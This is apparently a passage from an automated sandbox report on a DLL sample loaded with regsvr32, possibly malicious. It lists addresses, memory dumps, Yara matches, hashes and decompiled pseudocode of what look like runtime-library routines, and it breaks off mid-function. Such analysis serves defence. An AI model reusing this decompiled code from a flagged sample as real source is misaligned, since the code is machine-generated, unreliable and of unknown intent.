                                                                                                        0x1800419b7
                                                                                                        0x1800419ba
                                                                                                        0x1800419c1
                                                                                                        0x1800419ca
                                                                                                        0x1800419cf
                                                                                                        0x1800419d4
                                                                                                        0x1800419dc
                                                                                                        0x1800419e7
                                                                                                        0x1800419e9
                                                                                                        0x1800419f2
                                                                                                        0x1800419ff
                                                                                                        0x180041a02
                                                                                                        0x180041a06
                                                                                                        0x180041a0b
                                                                                                        0x180041a13
                                                                                                        0x180041a19
                                                                                                        0x180041a1e
                                                                                                        0x180041a24
                                                                                                        0x180041a30
                                                                                                        0x180041a46
                                                                                                        0x180041a4b
                                                                                                        0x180041a50
                                                                                                        0x180041a58
                                                                                                        0x180041a5a
                                                                                                        0x180041a63
                                                                                                        0x180041a6c
                                                                                                        0x180041a75
                                                                                                        0x180041a7a
                                                                                                        0x180041a7f
                                                                                                        0x180041a84
                                                                                                        0x180041a89
                                                                                                        0x180041a92
                                                                                                        0x180041a97
                                                                                                        0x180041a9c
                                                                                                        0x180041aa1
                                                                                                        0x180041aa6
                                                                                                        0x180041aaf
                                                                                                        0x180041ab4
                                                                                                        0x180041ab6
                                                                                                        0x180041abe
                                                                                                        0x180041ac2
                                                                                                        0x180041ac8
                                                                                                        0x180041acb
                                                                                                        0x180041ace
                                                                                                        0x180041ad0
                                                                                                        0x180041ad3
                                                                                                        0x180041adb
                                                                                                        0x180041ae1
                                                                                                        0x180041ae3
                                                                                                        0x180041aeb
                                                                                                        0x180041aef
                                                                                                        0x180041af1
                                                                                                        0x180041af6
                                                                                                        0x180041af8
                                                                                                        0x180041afe
                                                                                                        0x180041b05
                                                                                                        0x180041b0b
                                                                                                        0x180041b13
                                                                                                        0x180041b18
                                                                                                        0x180041b1d
                                                                                                        0x180041b22
                                                                                                        0x180041b27
                                                                                                        0x180041b2d
                                                                                                        0x180041b31
                                                                                                        0x180041b36
                                                                                                        0x180041b3a
                                                                                                        0x180041b3f
                                                                                                        0x180041b43
                                                                                                        0x180041b48
                                                                                                        0x180041b4c
                                                                                                        0x180041b51
                                                                                                        0x180041b55
                                                                                                        0x180041b5a
                                                                                                        0x180041b5e
                                                                                                        0x180041b62
                                                                                                        0x180041b65
                                                                                                        0x180041b68
                                                                                                        0x180041b6c
                                                                                                        0x180041b71
                                                                                                        0x180041b75
                                                                                                        0x180041b7d
                                                                                                        0x180041b82
                                                                                                        0x180041b8f
                                                                                                        0x180041ba2
                                                                                                        0x180041ba4
                                                                                                        0x180041bb3
                                                                                                        0x180041bb9
                                                                                                        0x180041bbb
                                                                                                        0x180041bbe
                                                                                                        0x180041bc0
                                                                                                        0x180041bc3
                                                                                                        0x180041bc5
                                                                                                        0x180041bc8
                                                                                                        0x180041bd6
                                                                                                        0x180041be0
                                                                                                        0x180041be3
                                                                                                        0x180041be7
                                                                                                        0x180041bed
                                                                                                        0x180041bf1
                                                                                                        0x180041bf8
                                                                                                        0x180041bfe
                                                                                                        0x180041c0d
                                                                                                        0x180041c13
                                                                                                        0x180041c15
                                                                                                        0x180041c18
                                                                                                        0x180041c1a
                                                                                                        0x180041c1d
                                                                                                        0x180041c1f
                                                                                                        0x180041c22
                                                                                                        0x180041c30
                                                                                                        0x180041c3a
                                                                                                        0x180041c3d
                                                                                                        0x180041c41
                                                                                                        0x180041c47
                                                                                                        0x180041c4b
                                                                                                        0x180041c50
                                                                                                        0x180041c56
                                                                                                        0x180041c5b
                                                                                                        0x180041c5f
                                                                                                        0x180041c61
                                                                                                        0x180041c6e
                                                                                                        0x180041c91

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: eadb73821afbd56409926a5c066792f311cab7a3169ad7d2e9bd9192bd96bf49
                                                                                                        • Instruction ID: 8d3e07eaf3091440e9840ff2bbaf3769791c678c6f5f839ee53a2a1fd4d12be4
                                                                                                        • Opcode Fuzzy Hash: eadb73821afbd56409926a5c066792f311cab7a3169ad7d2e9bd9192bd96bf49
                                                                                                        • Instruction Fuzzy Hash: 26B19D72104B8C89E7A68F29C4D03EC3BA1F34DB8DF668215EA8A47395DF31C659C749
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02402D54 Relevance: .2, Instructions: 218COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: df67a254d1b9152efcfe81b434a773d2ceedc46aeeab98ddaf877765d3bdedbf
                                                                                                        • Instruction ID: 176a2e00aa0187f972e34923e68bf522dee6d4266bf6b24516822653a8b401eb
                                                                                                        • Opcode Fuzzy Hash: df67a254d1b9152efcfe81b434a773d2ceedc46aeeab98ddaf877765d3bdedbf
                                                                                                        • Instruction Fuzzy Hash: CCA1157190670CCFDB68CF68C5CA59E7BF2EF54344F10012AEC199A2A1C7B8D566CB89
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018005C8EC Relevance: .2, Instructions: 204COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 47%
                                                                                                        			E0000000118005C8EC(void* __rax, long long __rbx, unsigned int* __rcx, void* __rdx, void* __rdi, long long __rsi, void* __r8, void* __r9, long long _a8, long long _a16, intOrPtr _a40, intOrPtr _a48, void* _a64, long long _a80) {
				long long _v48;
				signed long long _v56;
				long long _t37;
				long long _t44;
				unsigned int* _t49;
				void* _t51;
				void* _t58;

				_a8 = __rbx;
				_a16 = __rsi;
				_t58 = __r8;
				_t49 = __rcx;
				if (__rdx != 0) goto 0x8005c93c;
				_t44 = _a80;
				_v48 = _t44;
				 *((char*)(_t44 + 0x30)) = 1;
				 *((intOrPtr*)(_t44 + 0x2c)) = __rdx + 0x16;
				_v56 = _v56 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E00000001180025880(__rax, __rbx, _t44, __rdx, __rsi, _t51, __r8);
				goto 0x8005cbab;
				if (_t58 != 0) goto 0x8005c95c;
				_t37 = _a80;
				_v48 = _t37;
				 *((char*)(_t37 + 0x30)) = 1;
				 *((intOrPtr*)(_t37 + 0x2c)) = 0x16;
				goto 0x8005c920;
				if (__r9 == 0) goto 0x8005c941;
				if (_a40 == 0) goto 0x8005c941;
				if (_a48 == 0x41) goto 0x8005c987;
				if (_t44 - 0x45 - 2 <= 0) goto 0x8005c987;
				sil = 0;
				goto 0x8005c98a;
				sil = 1;
				if (0 != 0) goto 0x8005ca81;
				if ( *_t49 >> 0x34 != 0x7ff) goto 0x8005ca81;
				r8d = 0xc;
			}










                                                                                                        0x18005c8ec
                                                                                                        0x18005c8f1
                                                                                                        0x18005c8fb
                                                                                                        0x18005c901
                                                                                                        0x18005c907
                                                                                                        0x18005c909
                                                                                                        0x18005c914
                                                                                                        0x18005c919
                                                                                                        0x18005c91d
                                                                                                        0x18005c920
                                                                                                        0x18005c926
                                                                                                        0x18005c929
                                                                                                        0x18005c930
                                                                                                        0x18005c937
                                                                                                        0x18005c93f
                                                                                                        0x18005c941
                                                                                                        0x18005c94e
                                                                                                        0x18005c953
                                                                                                        0x18005c957
                                                                                                        0x18005c95a
                                                                                                        0x18005c95f
                                                                                                        0x18005c96c
                                                                                                        0x18005c978
                                                                                                        0x18005c980
                                                                                                        0x18005c982
                                                                                                        0x18005c985
                                                                                                        0x18005c987
                                                                                                        0x18005c995
                                                                                                        0x18005c9b0
                                                                                                        0x18005c9c3

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 32097992f4d1a53bfc0bd97ddf1a56ffb35a62e389a39417a11db325c9b8b2d2
                                                                                                        • Instruction ID: 00d17c9378b2aa2005bc50ad11c930f01a27c065f666c307a2316a325af4ef35
                                                                                                        • Opcode Fuzzy Hash: 32097992f4d1a53bfc0bd97ddf1a56ffb35a62e389a39417a11db325c9b8b2d2
                                                                                                        • Instruction Fuzzy Hash: 9D8107726047888AEBB5CF2994857AA7B90F38D7D4F14C215FB9953B85CF3EC6488B01
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241A170 Relevance: .2, Instructions: 200COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 1d40cf1fdf5da48579d992a37fd40edc5d1917465f87a5e01d868d91ca62fb6e
                                                                                                        • Instruction ID: 3af05ed05bcdd843af54f813f02c04df468884b730c209d55ec1c7e54d0a8d0a
                                                                                                        • Opcode Fuzzy Hash: 1d40cf1fdf5da48579d992a37fd40edc5d1917465f87a5e01d868d91ca62fb6e
                                                                                                        • Instruction Fuzzy Hash: 6C914D315046988FDBB9CF28CC8A7D937A1FB45304F54812AC88ECF291DB789689DB45
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800489E8 Relevance: .2, Instructions: 198COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 61%
                                                                                                        			E000000011800489E8(intOrPtr __esi, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				short _v64;
				char _v68;
				signed short _v72;
				long long _v88;
				void* __rdi;
				void* _t141;
				void* _t169;
				void* _t180;
				unsigned int _t181;
				signed char _t182;
				signed char _t184;
				signed int _t205;
				void* _t209;
				signed char _t219;
				void* _t225;
				intOrPtr _t227;
				void* _t228;
				signed short _t230;
				void* _t233;
				void* _t234;
				void* _t235;
				signed long long _t299;
				void* _t314;
				void* _t316;
				void* _t317;
				intOrPtr* _t318;
				signed short* _t320;
				void* _t324;
				void* _t333;
				signed int* _t334;
				signed long long _t337;
				void* _t338;
				void* _t344;
				signed long long _t345;
				void* _t347;
				void* _t353;
				void* _t357;
				signed long long _t360;
				void* _t363;
				void* _t364;
				intOrPtr _t365;
				intOrPtr* _t366;
				intOrPtr _t367;

				_t357 = __r10;
				_t347 = __r8;
				_t342 = __rbp;
				_t335 = __rsi;
				_t324 = __rdx;
				_t316 = __rcx;
				_t227 = __esi;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t345 = _t344 - 0x50;
				_t299 =  *0x800d81f8; // 0x68308725f9ca
				_v56 = _t299 ^ _t345;
				_t205 =  *(__rcx + 0x3a) & 0x0000ffff;
				_t314 = __rcx;
				_t6 = _t333 - 0x20; // 0x58
				_t230 = _t6;
				_t7 = _t333 - 0x77; // 0x1
				r12d = _t7;
				_t8 = _t333 - 0x37; // 0x41
				r14d = _t8;
				_t234 = _t205 - 0x64;
				if (_t234 > 0) goto 0x80048a98;
				if (_t234 == 0) goto 0x80048abf;
				_t235 = _t205 - 0x53;
				if (_t235 > 0) goto 0x80048a67;
				if (_t235 == 0) goto 0x80048b03;
				if (_t235 == 0) goto 0x80048a5d;
				if (_t235 == 0) goto 0x80048a82;
				if (_t235 == 0) goto 0x80048a5d;
				_t209 = _t205 - r14d - r12d;
				if (_t235 == 0) goto 0x80048a5d;
				if (_t209 != r12d) goto 0x80048b27;
				E0000000118004BC30(_t209, 0x78, __rcx, __rcx, __rbp);
				goto 0x80048b20;
				if (_t209 == _t230) goto 0x80048b18;
				if (_t209 == 0x5a) goto 0x80048a8e;
				if (_t209 == 0x61) goto 0x80048a5d;
				if (_t209 != 0x63) goto 0x80048b27;
				E0000000118004CF3C(_t180, _t209 - 0x63, __rcx, __rcx, __rsi, _t342, _t347);
				goto 0x80048b20;
				E0000000118004A8D0(_t180, _t209 - 0x63, __rcx, __rcx, _t335);
				goto 0x80048b20;
				if (0 - 0x6f > 0) goto 0x80048aec;
				if (0 == 0x6f) goto 0x80048acc;
				if (0 == 0x6f) goto 0x80048a5d;
				if (0 == 0x6f) goto 0x80048a5d;
				if (0 == 0x6f) goto 0x80048a5d;
				if (0 == 0x6f) goto 0x80048abf;
				if (0xffffffffffffff9b - r12d - r12d - 2 != 5) goto 0x80048b27;
				E0000000118004D968(0xffffffffffffff9b - r12d - r12d - 2 - 5, _t316, _t335, _t342, _t357);
				goto 0x80048b20;
				 *(_t316 + 0x28) =  *(_t316 + 0x28) | 0x00000010;
				E000000011800391A0(0, _t314, _t316, _t335, _t347, _t357);
				goto 0x80048b20;
				_t181 =  *(_t316 + 0x28);
				if ((r12b & _t181 >> 0x00000005) == 0) goto 0x80048ae0;
				asm("bts ecx, 0x7");
				 *(_t314 + 0x28) = _t181;
				_t317 = _t314;
				E000000011800378A0(0, _t314, _t317, _t335, _t347, _t357);
				goto 0x80048b20;
				if (0 == 0x70) goto 0x80048b0a;
				if (0 == 0x73) goto 0x80048b03;
				if (0 == 0x75) goto 0x80048ac3;
				if (0 != 0x78) goto 0x80048b27;
				goto 0x80048b1b;
				E0000000118004E44C(0 - 0x78, _t314, _t317, _t335, _t342);
				goto 0x80048b20;
				 *((intOrPtr*)(_t317 + 0x30)) = 0x10;
				 *((intOrPtr*)(_t317 + 0x34)) = 0xb;
				_t141 = E0000000118003AAA0(r12b, _t314, _t317, _t335, _t347, _t357);
				r13d = 0;
				if (_t141 != 0) goto 0x80048b2e;
				goto 0x80048e96;
				if ( *((intOrPtr*)(_t314 + 0x474)) != 2) goto 0x80048b44;
				if ( *((intOrPtr*)(_t314 + 0x470)) == r12d) goto 0x80048e93;
				if ( *((intOrPtr*)(_t314 + 0x38)) != r13b) goto 0x80048e93;
				_t182 =  *(_t314 + 0x28);
				_v68 = 0;
				_v64 = 0;
				r10d = 0x20;
				if ((r12b & 0) == 0) goto 0x80048ba2;
				if ((r12b & 0) == 0) goto 0x80048b84;
				_v68 = _t357 + 0xd;
				goto 0x80048b9f;
				if ((r12b & _t182) == 0) goto 0x80048b90;
				goto 0x80048b7d;
				if ((r12b & 0) == 0) goto 0x80048ba2;
				_v68 = r10w;
				_t337 = _t360;
				_t219 =  *(_t314 + 0x3a) & 0x0000ffff;
				r9d = 0xffdf;
				if ((r9w & (_t219 & 0x0000ffff) - _t230) != 0) goto 0x80048bc5;
				r8b = r12b;
				if ((r12b & 0) != 0) goto 0x80048bc8;
				r8b = r13b;
				r9d = 0x30;
				if (r8b != 0) goto 0x80048be5;
				if (0 == 0) goto 0x80048c02;
				 *(_t345 + 0x34 + _t337 * 2) = r9w;
				if (_t219 == _t230) goto 0x80048bf6;
				if (_t219 != r14w) goto 0x80048bf9;
				 *((short*)(_t345 + 0x36 + _t337 * 2)) = _t230 & 0x0000ffff;
				_t338 = _t337 + 2;
				r15d = 0xffff;
				_t233 =  *((intOrPtr*)(_t314 + 0x2c)) -  *((intOrPtr*)(_t314 + 0x48)) - _t227;
				if ((_t182 & 0x0000000c) != 0) goto 0x80048c79;
				_t365 =  *((intOrPtr*)(_t314 + 8));
				_t225 = r13d;
				if (_t233 <= 0) goto 0x80048c79;
				_t184 =  *( *((intOrPtr*)(_t314 + 0x460)) + 0x14) >> 0xc;
				if ((r12b & _t184) == 0) goto 0x80048c40;
				 *((intOrPtr*)(_t317 + _t333 + 0x68)) =  *((intOrPtr*)(_t317 + _t333 + 0x68)) + _t184;
				 *(_t338 + _t314 + 0x48) =  *(_t338 + _t314 + 0x48) | _t219;
				if (E0000000118005D730(r10d, _t314, _t324, _t365, _t353) == r15w) goto 0x80048c75;
				r10d = 0x20;
				 *(_t314 + 0x20) = _t317 + 1;
				if ( *(_t314 + 0x20) == 0xfffffffe) goto 0x80048c79;
				if (_t225 + r12d - _t233 < 0) goto 0x80048c20;
				goto 0x80048c79;
				 *(_t314 + 0x20) =  *(_t314 + 0x20) | 0xffffffff;
				_t366 = _t314 + 0x460;
				_t334 = _t314 + 0x20;
				if ((r12b &  *( *_t366 + 0x14) >> 0x0000000c) == 0) goto 0x80048ca4;
				if ( *((intOrPtr*)( *_t366 + 8)) != _t363) goto 0x80048ca4;
				 *_t334 =  *_t334 + _t227;
				goto 0x80048cbc;
				_v88 =  *((intOrPtr*)(_t314 + 8));
				_t354 = _t334;
				r8d = _t227;
				_t318 = _t366;
				E00000001180051990(_t314, _t318,  &_v68, _t338, _t342, _t334);
				if ((r12b & 0) == 0) goto 0x80048d26;
				if ((r12b &  *(_t314 + 0x28) >> 0x00000002) != 0) goto 0x80048d26;
				_t367 =  *((intOrPtr*)(_t314 + 8));
				_t228 = r13d;
				if (_t233 <= 0) goto 0x80048d26;
				if ((r12b &  *( *_t366 + 0x14) >> 0x0000000c) == 0) goto 0x80048cf4;
				if ( *((intOrPtr*)( *_t366 + 8)) == _t363) goto 0x80048d0e;
				if (E0000000118005D730(0x30, _t314,  *_t366, _t367, _t354) == 0xffff) goto 0x80048d23;
				 *_t334 = _t318 + 1;
				if ( *_t334 == 0xfffffffe) goto 0x80048d26;
				if (_t228 + r12d - _t233 < 0) goto 0x80048cdc;
				goto 0x80048d26;
				 *_t334 =  *_t334 | 0xffffffff;
				if ( *((intOrPtr*)(_t314 + 0x4c)) != r13b) goto 0x80048e4c;
				if ( *((intOrPtr*)(_t314 + 0x48)) - r13d <= 0) goto 0x80048e4c;
				_t339 =  *((intOrPtr*)(_t314 + 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t314 + 8)) + 0x28)) != r13b) goto 0x80048d4c;
				E0000000118002F1E0( *_t366, _t314,  *((intOrPtr*)(_t314 + 8)),  *_t366, _t339);
				r15d = r13d;
				if ( *((intOrPtr*)(_t314 + 0x48)) == r13d) goto 0x80048dd0;
				_t320 =  &_v72;
				_v72 = r13w;
				_t169 = E0000000118005D094( *_t334, _t233, _t314, _t320,  *((intOrPtr*)(_t314 + 0x40)), _t334, _t339, _t342,  *((intOrPtr*)( *((intOrPtr*)(_t339 + 0x18)) + 8)),  *((intOrPtr*)(_t314 + 8)));
				_t364 = _t169;
				if (_t169 <= 0) goto 0x80048e44;
				if (( *( *_t366 + 0x14) >> 0x0000000c & 0x00000001) == 0) goto 0x80048da5;
				if ( *((long long*)( *_t366 + 8)) == 0) goto 0x80048db7;
				if (E0000000118005D730(_v72 & 0x0000ffff, _t314,  *_t366,  *((intOrPtr*)(_t314 + 8)),  *((intOrPtr*)(_t314 + 8))) == 0xffff) goto 0x80048dbb;
				 *_t334 =  *_t334 + 1;
				goto 0x80048dbe;
				 *_t334 =  *_t334 | 0xffffffff;
				r15d = r15d + 1;
				r13d = 0;
				if (r15d !=  *((intOrPtr*)(_t314 + 0x48))) goto 0x80048d59;
				r12d = 1;
				if ( *_t334 - r13d < 0) goto 0x80048e93;
				if ((r12b &  *(_t314 + 0x28) >> 0x00000002) == 0) goto 0x80048e93;
				_t340 =  *((intOrPtr*)(_t314 + 8));
				if (_t233 <= 0) goto 0x80048e93;
				if ((r12b &  *( *_t366 + 0x14) >> 0x0000000c) == 0) goto 0x80048e15;
				if ( *((intOrPtr*)( *_t366 + 8)) == _t364) goto 0x80048e2f;
				if (E0000000118005D730(0x20, _t314,  *_t366,  *((intOrPtr*)(_t314 + 8)),  *((intOrPtr*)(_t314 + 8))) == 0xffff) goto 0x80048e90;
				 *_t334 = _t320 + 1;
				if ( *_t334 == 0xfffffffe) goto 0x80048e93;
				if (r13d + r12d - _t233 < 0) goto 0x80048dfd;
				goto 0x80048e93;
				 *_t334 =  *_t334 | 0xffffffff;
				r13d = 0;
				goto 0x80048dd0;
				r8d =  *((intOrPtr*)(_t314 + 0x48));
				if ((r12b &  *( *_t366 + 0x14) >> 0x0000000c) == 0) goto 0x80048e78;
				if ( *((intOrPtr*)( *_t366 + 8)) != _t364) goto 0x80048e78;
				 *_t334 =  *_t334 + r8d;
				goto 0x80048dd6;
				_v88 =  *((intOrPtr*)(_t314 + 8));
				E00000001180051990(_t314, _t366,  *((intOrPtr*)(_t314 + 0x40)), _t340, _t342, _t334);
				goto 0x80048dd6;
				 *_t334 =  *_t334 | 0xffffffff;
				return E000000011800149A0(r12b,  *( *_t366 + 0x14) >> 0xc, _v56 ^ _t345);
			}
















































                                                                                                        0x1800489e8
                                                                                                        0x1800489e8
                                                                                                        0x1800489e8
                                                                                                        0x1800489e8
                                                                                                        0x1800489e8
                                                                                                        0x1800489e8
                                                                                                        0x1800489e8
                                                                                                        0x1800489e8
                                                                                                        0x1800489ed
                                                                                                        0x1800489f2
                                                                                                        0x180048a00
                                                                                                        0x180048a04
                                                                                                        0x180048a0e
                                                                                                        0x180048a13
                                                                                                        0x180048a1c
                                                                                                        0x180048a1f
                                                                                                        0x180048a1f
                                                                                                        0x180048a22
                                                                                                        0x180048a22
                                                                                                        0x180048a26
                                                                                                        0x180048a26
                                                                                                        0x180048a2a
                                                                                                        0x180048a2d
                                                                                                        0x180048a2f
                                                                                                        0x180048a35
                                                                                                        0x180048a38
                                                                                                        0x180048a3a
                                                                                                        0x180048a43
                                                                                                        0x180048a48
                                                                                                        0x180048a4d
                                                                                                        0x180048a4f
                                                                                                        0x180048a52
                                                                                                        0x180048a57
                                                                                                        0x180048a5d
                                                                                                        0x180048a62
                                                                                                        0x180048a69
                                                                                                        0x180048a72
                                                                                                        0x180048a77
                                                                                                        0x180048a7c
                                                                                                        0x180048a84
                                                                                                        0x180048a89
                                                                                                        0x180048a8e
                                                                                                        0x180048a93
                                                                                                        0x180048a9b
                                                                                                        0x180048a9d
                                                                                                        0x180048aa2
                                                                                                        0x180048aa7
                                                                                                        0x180048aac
                                                                                                        0x180048ab1
                                                                                                        0x180048ab6
                                                                                                        0x180048ab8
                                                                                                        0x180048abd
                                                                                                        0x180048abf
                                                                                                        0x180048ac5
                                                                                                        0x180048aca
                                                                                                        0x180048acc
                                                                                                        0x180048ad7
                                                                                                        0x180048ad9
                                                                                                        0x180048add
                                                                                                        0x180048ae2
                                                                                                        0x180048ae5
                                                                                                        0x180048aea
                                                                                                        0x180048aef
                                                                                                        0x180048af4
                                                                                                        0x180048af9
                                                                                                        0x180048afd
                                                                                                        0x180048b01
                                                                                                        0x180048b03
                                                                                                        0x180048b08
                                                                                                        0x180048b0a
                                                                                                        0x180048b11
                                                                                                        0x180048b1b
                                                                                                        0x180048b20
                                                                                                        0x180048b25
                                                                                                        0x180048b29
                                                                                                        0x180048b35
                                                                                                        0x180048b3e
                                                                                                        0x180048b48
                                                                                                        0x180048b4e
                                                                                                        0x180048b53
                                                                                                        0x180048b5a
                                                                                                        0x180048b5f
                                                                                                        0x180048b6d
                                                                                                        0x180048b77
                                                                                                        0x180048b7d
                                                                                                        0x180048b82
                                                                                                        0x180048b87
                                                                                                        0x180048b8e
                                                                                                        0x180048b97
                                                                                                        0x180048b99
                                                                                                        0x180048b9f
                                                                                                        0x180048ba2
                                                                                                        0x180048ba6
                                                                                                        0x180048bb6
                                                                                                        0x180048bba
                                                                                                        0x180048bc3
                                                                                                        0x180048bc5
                                                                                                        0x180048bd3
                                                                                                        0x180048bdf
                                                                                                        0x180048be3
                                                                                                        0x180048be5
                                                                                                        0x180048bee
                                                                                                        0x180048bf4
                                                                                                        0x180048bf9
                                                                                                        0x180048bfe
                                                                                                        0x180048c05
                                                                                                        0x180048c0e
                                                                                                        0x180048c13
                                                                                                        0x180048c15
                                                                                                        0x180048c19
                                                                                                        0x180048c1e
                                                                                                        0x180048c2b
                                                                                                        0x180048c31
                                                                                                        0x180048c39
                                                                                                        0x180048c3d
                                                                                                        0x180048c56
                                                                                                        0x180048c58
                                                                                                        0x180048c64
                                                                                                        0x180048c6a
                                                                                                        0x180048c71
                                                                                                        0x180048c73
                                                                                                        0x180048c75
                                                                                                        0x180048c7d
                                                                                                        0x180048c87
                                                                                                        0x180048c95
                                                                                                        0x180048c9e
                                                                                                        0x180048ca0
                                                                                                        0x180048ca2
                                                                                                        0x180048ca4
                                                                                                        0x180048ca9
                                                                                                        0x180048cb1
                                                                                                        0x180048cb4
                                                                                                        0x180048cb7
                                                                                                        0x180048cc7
                                                                                                        0x180048ccf
                                                                                                        0x180048cd1
                                                                                                        0x180048cd5
                                                                                                        0x180048cda
                                                                                                        0x180048ce9
                                                                                                        0x180048cf2
                                                                                                        0x180048d0c
                                                                                                        0x180048d13
                                                                                                        0x180048d18
                                                                                                        0x180048d1f
                                                                                                        0x180048d21
                                                                                                        0x180048d23
                                                                                                        0x180048d2a
                                                                                                        0x180048d34
                                                                                                        0x180048d3a
                                                                                                        0x180048d42
                                                                                                        0x180048d47
                                                                                                        0x180048d4c
                                                                                                        0x180048d57
                                                                                                        0x180048d5d
                                                                                                        0x180048d69
                                                                                                        0x180048d73
                                                                                                        0x180048d78
                                                                                                        0x180048d7d
                                                                                                        0x180048d99
                                                                                                        0x180048da3
                                                                                                        0x180048db5
                                                                                                        0x180048db7
                                                                                                        0x180048db9
                                                                                                        0x180048dbb
                                                                                                        0x180048dc1
                                                                                                        0x180048dc4
                                                                                                        0x180048dce
                                                                                                        0x180048dd0
                                                                                                        0x180048dd9
                                                                                                        0x180048de8
                                                                                                        0x180048dee
                                                                                                        0x180048df7
                                                                                                        0x180048e0a
                                                                                                        0x180048e13
                                                                                                        0x180048e2d
                                                                                                        0x180048e34
                                                                                                        0x180048e39
                                                                                                        0x180048e40
                                                                                                        0x180048e42
                                                                                                        0x180048e44
                                                                                                        0x180048e47
                                                                                                        0x180048e4a
                                                                                                        0x180048e53
                                                                                                        0x180048e65
                                                                                                        0x180048e6e
                                                                                                        0x180048e70
                                                                                                        0x180048e73
                                                                                                        0x180048e78
                                                                                                        0x180048e86
                                                                                                        0x180048e8b
                                                                                                        0x180048e90
                                                                                                        0x180048ec0

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: f6757db3391cfcfb60c1a9316e3ef849de96f684f1a9ae0e9cc4557c74406d74
                                                                                                        • Instruction ID: b37c6164c3c208c870450f6e925eb1db6546aae1f73f38c53bd669c183269e77
                                                                                                        • Opcode Fuzzy Hash: f6757db3391cfcfb60c1a9316e3ef849de96f684f1a9ae0e9cc4557c74406d74
                                                                                                        • Instruction Fuzzy Hash: 3B71F772204A0889F6EB9A2591C43ED2691FF8D7CCF16D812FE0507699CF74CA5EE349
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003B0EC Relevance: .2, Instructions: 157COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 74%
                                                                                                        			E0000000118003B0EC(void* __edx, long long __rbx, void* __rcx, long long __rsi, void* __r8, void* __r10, signed int _a8, long long _a16, long long _a24) {
				long long _v48;
				signed long long _v56;
				void* __rbp;
				void* _t62;
				void* _t66;
				void* _t72;
				void* _t73;
				signed int _t85;
				void* _t94;
				intOrPtr _t95;
				signed int _t99;
				intOrPtr _t113;
				void* _t117;
				void* _t119;
				signed int* _t134;
				void* _t137;
				void* _t140;
